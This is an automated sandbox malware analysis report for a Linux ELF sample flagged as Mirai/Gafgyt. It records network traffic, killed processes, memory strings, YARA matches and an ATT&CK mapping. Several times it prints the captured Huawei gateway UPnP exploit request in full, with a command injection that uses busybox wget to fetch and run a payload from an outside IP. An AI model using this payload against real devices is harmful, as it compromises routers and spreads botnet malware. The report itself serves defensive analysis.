70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 41.18.51.232
Source: unknown	TCP traffic detected without corresponding DNS query: 157.255.247.144
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.26.233
Source: unknown	TCP traffic detected without corresponding DNS query: 201.220.145.210
Source: unknown	TCP traffic detected without corresponding DNS query: 157.198.75.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.98.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.3.46.116
Source: unknown	TCP traffic detected without corresponding DNS query: 41.36.67.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.143.70
Source: unknown	TCP traffic detected without corresponding DNS query: 41.196.108.130
Source: unknown	TCP traffic detected without corresponding DNS query: 157.159.247.26
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.211.16
Source: unknown	TCP traffic detected without corresponding DNS query: 41.188.205.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.177.155.54
Source: unknown	TCP traffic detected without corresponding DNS query: 157.25.158.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.202.117
Source: unknown	TCP traffic detected without corresponding DNS query: 41.80.168.220
Source: unknown	TCP traffic detected without corresponding DNS query: 157.47.55.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.117.207.28
Source: unknown	TCP traffic detected without corresponding DNS query: 223.160.162.159
Source: unknown	TCP traffic detected without corresponding DNS query: 115.204.4.242
Source: unknown	TCP traffic detected without corresponding DNS query: 41.195.166.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.155.75.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.171.43
Source: unknown	TCP traffic detected without corresponding DNS query: 35.124.61.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.96.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.56.21.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.254.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.179.250.228
Source: unknown	TCP traffic detected without corresponding DNS query: 41.226.149.178
Source: unknown	TCP traffic detected without corresponding DNS query: 46.240.175.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.55.120.177
Source: unknown	TCP traffic detected without corresponding DNS query: 157.250.253.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.236.175.89
Source: unknown	TCP traffic detected without corresponding DNS query: 13.76.205.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.208.68.42
Source: unknown	TCP traffic detected without corresponding DNS query: 72.101.114.34
Source: unknown	TCP traffic detected without corresponding DNS query: 161.253.109.48
Source: unknown	TCP traffic detected without corresponding DNS query: 157.75.64.226
Source: unknown	TCP traffic detected without corresponding DNS query: 19.166.190.46
Source: unknown	TCP traffic detected without corresponding DNS query: 41.16.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 75.212.58.152
Source: unknown	TCP traffic detected without corresponding DNS query: 41.141.66.17
Source: unknown	TCP traffic detected without corresponding DNS query: 157.215.114.162
Source: unknown	TCP traffic detected without corresponding DNS query: 41.2.44.139
Source: unknown	TCP traffic detected without corresponding DNS query: 31.181.140.74
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.221.137
Source: unknown	TCP traffic detected without corresponding DNS query: 157.148.215.228
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.116.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.180.48.227

Source: unknown

DNS traffic detected: queries for: bn.networkbn.click

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: k5IgePZIDB.elf	ReversingLabs: Detection: 65%
Source: k5IgePZIDB.elf	Virustotal: Detection: 61%			Perma Link

Source: k5IgePZIDB.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: k5IgePZIDB.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: k5IgePZIDB.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: k5IgePZIDB.elf PID: 5494, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 928, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 941, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 1203, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 3183, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 5526, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 5527, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 5530, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 5535, result: successful	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	SIGKILL sent: pid: 5544, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: _/proc/proc/%d/cmdlinerpgrepwgetcurlpsbusyboxpkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/run/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/h/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777

Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/3656/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/k5IgePZIDB.elf (PID: 5504)	File opened: /proc/264/cmdline	Jump to behavior

Source: /tmp/k5IgePZIDB.elf (PID: 5494)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5527)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5530)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5535)	Queries kernel information via 'uname':	Jump to behavior

Source: k5IgePZIDB.elf, 5494.1.00005591ae33b000.00005591ae3a0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: k5IgePZIDB.elf, 5494.1.00005591ae33b000.00005591ae3a0000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: k5IgePZIDB.elf, 5494.1.00007ffd3ca4b000.00007ffd3ca6c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/k5IgePZIDB.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/k5IgePZIDB.elf
Source: k5IgePZIDB.elf, 5494.1.00007ffd3ca4b000.00007ffd3ca6c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Source: Yara match	File source: k5IgePZIDB.elf, type: SAMPLE
Source: Yara match	File source: 5494.1.00007fec7c011000.00007fec7c023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: k5IgePZIDB.elf PID: 5494, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
k5IgePZIDB.elf	66%	ReversingLabs	Linux.Trojan.Mirai
k5IgePZIDB.elf	62%	Virustotal		Browse
k5IgePZIDB.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	k5IgePZIDB.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	k5IgePZIDB.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
201.173.139.2	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
115.136.153.49	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
157.147.239.127	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
190.223.77.225	unknown	Peru	12252	AmericaMovilPeruSACPE	false
197.201.220.191	unknown	Algeria	36947	ALGTEL-ASDZ	false
111.127.188.64	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
